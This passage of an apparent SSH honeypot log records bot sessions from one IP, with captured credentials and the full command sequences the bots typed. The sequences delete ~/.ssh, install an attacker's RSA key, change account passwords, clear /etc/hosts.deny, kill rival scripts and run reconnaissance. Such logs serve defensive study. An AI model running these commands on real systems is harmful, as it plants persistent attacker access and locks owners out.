$2;}'"},{"seq":32,"at":"2026-08-27T02:00:17.462717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"hb123456","method":"password","accepted":true,"tier":"other"}]} {"id":"31bed514-eb14-445e-affa-0d150730fd29","name":"regal-ancient-gannet","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":59054,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:59:57.823634+00:00","ended_at":"2026-08-27T01:59:58.658719+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c4b49112-c46f-468a-b521-06f402940d58","name":"spirited-grassy-dipper","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":59808,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:59:54.311756+00:00","ended_at":"2026-08-27T01:59:56.331128+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5f84b496-5c89-47c9-b585-87bbb34b6e9b","name":"rugged-idle-chamois","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":42640,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:57:01.767425+00:00","ended_at":"2026-08-27T01:57:02.861508+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T01:56:34.543771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:56:35.109880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:56:44.971022+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:56:45.399876+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:56:45.912190+00:00","kind":"input","latency_ms":null,"data":"echo \"root:5JZGwnk08mjc\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:56:46.478957+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:56:46.993207+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:56:47.303777+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:56:47.825986+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:56:49.103497+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:56:49.623193+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:56:50.718314+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:56:51.235465+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:56:51.843452+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:56:52.355280+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:56:52.714312+00:00","kind":"output","latency_ms":null,"data":" 01:56:52 up 6 days, 22:46, 0 user, load average: 0.1, 0.07, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:56:53.227398+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:56:53.892169+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:56:54.407621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:56:54.950576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:56:55.468082+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:56:56.324464+00:00","kind":"output","latency_ms":null,"data":"top - 01:56:56 up 6 days, 22:47, 0 user, load average: 0.1, 0.07, 0.12\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:56:56.849577+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:56:57.097624+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:56:57.608761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:56:58.256876+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:56:58.772352+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:56:59.271724+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:56:59.897816+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:57:01.254356+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:57:01.768308+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:57:02.702000+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"a7758521","method":"password","accepted":true,"tier":"other"}]} {"id":"c9ea8523-1e01-4868-8cd8-61bbb9fd01b1","name":"marine-slender-thrush","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":42668,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:56:43.100549+00:00","ended_at":"2026-08-27T01:56:44.761726+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7bcf5661-b60d-4baf-a052-5c7d8e1c4e70","name":"solar-quaint-oriole","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":42654,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:56:38.149028+00:00","ended_at":"2026-08-27T01:56:39.174009+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3df4f059-c34b-4115-a3aa-bcd9be781bf6","name":"prairie-icy-barbet","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":34544,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":558,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:53:49.922814+00:00","ended_at":"2026-08-27T01:53:51.302086+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T01:53:22.980192+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:53:23.532808+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:53:31.819770+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:53:32.419934+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:53:33.701996+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwe123!@#\\npijv6524m83F\\npijv6524m83F\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:53:34.307763+00:00","kind":"input","latency_ms":null,"data":"echo \"qwe123!@#\\npijv6524m83F\\npijv6524m83F\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:53:34.935523+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:53:35.255742+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:53:35.819693+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:53:37.189747+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:53:37.741774+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:53:38.593402+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:53:39.151738+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:53:40.047139+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:53:40.602180+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:53:40.961134+00:00","kind":"output","latency_ms":null,"data":" 01:53:40 up 6 days, 22:43, 0 user, load average: 0.25, 0.32, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:53:41.527939+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:53:42.125919+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:53:42.771231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:53:43.297971+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:53:43.852484+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:53:44.246475+00:00","kind":"output","latency_ms":null,"data":"top - 01:53:44 up 6 days, 22:43, 0 user, load average: 0.25, 0.32, 0.3\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:53:44.805319+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:53:45.223969+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:53:45.774556+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:53:46.300426+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:53:46.850000+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:53:47.349082+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-27T01:53:47.902681+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:53:49.350063+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:53:49.923590+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:53:51.130736+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"qwe123!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"a3106420-1547-4953-b012-71c18236bf9c","name":"dapper-mossy-pika","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":36492,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:53:30.721810+00:00","ended_at":"2026-08-27T01:53:31.469011+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dc10381c-5207-4ad2-9a24-298c180112d3","name":"pewter-twilight-cicada","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":36484,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:53:27.841775+00:00","ended_at":"2026-08-27T01:53:28.853005+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"196f1d27-2c48-4975-ba0b-ddd181b0dab5","name":"icy-grumpy-peccary","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":32900,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":541,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:50:32.380524+00:00","ended_at":"2026-08-27T01:50:33.575565+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2259,"events":[{"seq":1,"at":"2026-08-27T01:50:06.607728+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:50:07.156195+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:50:15.183408+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:50:15.732695+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:50:16.275335+00:00","kind":"input","latency_ms":null,"data":"echo -e \"oracle#123\\nHGNBSMiiqqrH\\nHGNBSMiiqqrH\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:50:16.836116+00:00","kind":"input","latency_ms":null,"data":"echo \"oracle#123\\nHGNBSMiiqqrH\\nHGNBSMiiqqrH\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:50:17.375379+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:50:18.149548+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:50:18.701923+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:50:19.573175+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:50:20.110827+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:50:20.997394+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:50:21.542247+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:50:22.047145+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:50:22.587413+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:50:23.224636+00:00","kind":"output","latency_ms":null,"data":" 01:50:23 up 6 days, 22:40, 0 user, load average: 0.09, 0.1, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:50:23.769631+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:50:24.371834+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:50:24.909058+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:50:25.393152+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:50:25.934019+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:50:26.499210+00:00","kind":"output","latency_ms":null,"data":"top - 01:50:26 up 6 days, 22:40, 0 user, load average: 0.09, 0.1, 0.06\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:50:27.046573+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:50:27.409865+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:50:27.961356+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:50:28.680800+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:50:29.222825+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:50:30.031137+00:00","kind":"output","latency_ms":null,"data":"oracle"},{"seq":29,"at":"2026-08-27T01:50:30.571519+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:50:31.844311+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:50:32.381088+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:50:33.404412+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"oracle","password":"oracle#123","method":"password","accepted":true,"tier":"other"}]} {"id":"63098e80-2a8f-4c80-a71d-e5d6fbcfb33f","name":"weathered-somber-snipe","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":43954,"username":"oracle","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:50:13.513392+00:00","ended_at":"2026-08-27T01:50:15.011292+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"oracle","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"364206dc-9601-40e3-b68e-3cda35605814","name":"faded-loyal-loris","protocol":"ssh","channel_kind":null,"src_ip":"118.194.228.101","src_port":32904,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T01:50:09.123761+00:00","ended_at":"2026-08-27T01:50:10.885527+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9229aa80-23b4-4320-acbf-4916bcd0e6ad","name":"sooty-golden-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":54798,"username":"wjx","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":525,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:47:29.547521+00:00","ended_at":"2026-08-27T01:47:30.894678+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T01:47:04.472760+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:47:05.055859+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:47:12.859949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:47:13.219113+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:47:13.802074+00:00","kind":"input","latency_ms":null,"data":"echo -e \"wjx\\nPjuQDmDvLBlR\\nPjuQDmDvLBlR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:47:14.416859+00:00","kind":"input","latency_ms":null,"data":"echo \"wjx\\nPjuQDmDvLBlR\\nPjuQDmDvLBlR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:47:14.948965+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:47:15.299272+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:47:15.976270+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:47:16.887092+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:47:17.422503+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:47:18.747221+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:47:19.272069+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:47:19.802203+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:47:20.325447+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:47:20.598668+00:00","kind":"output","latency_ms":null,"data":" 01:47:20 up 6 days, 22:37, 0 user, load average: 0.33, 0.24, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:47:21.122769+00:00","kind":"input","latency_ms":null,"data":"uname 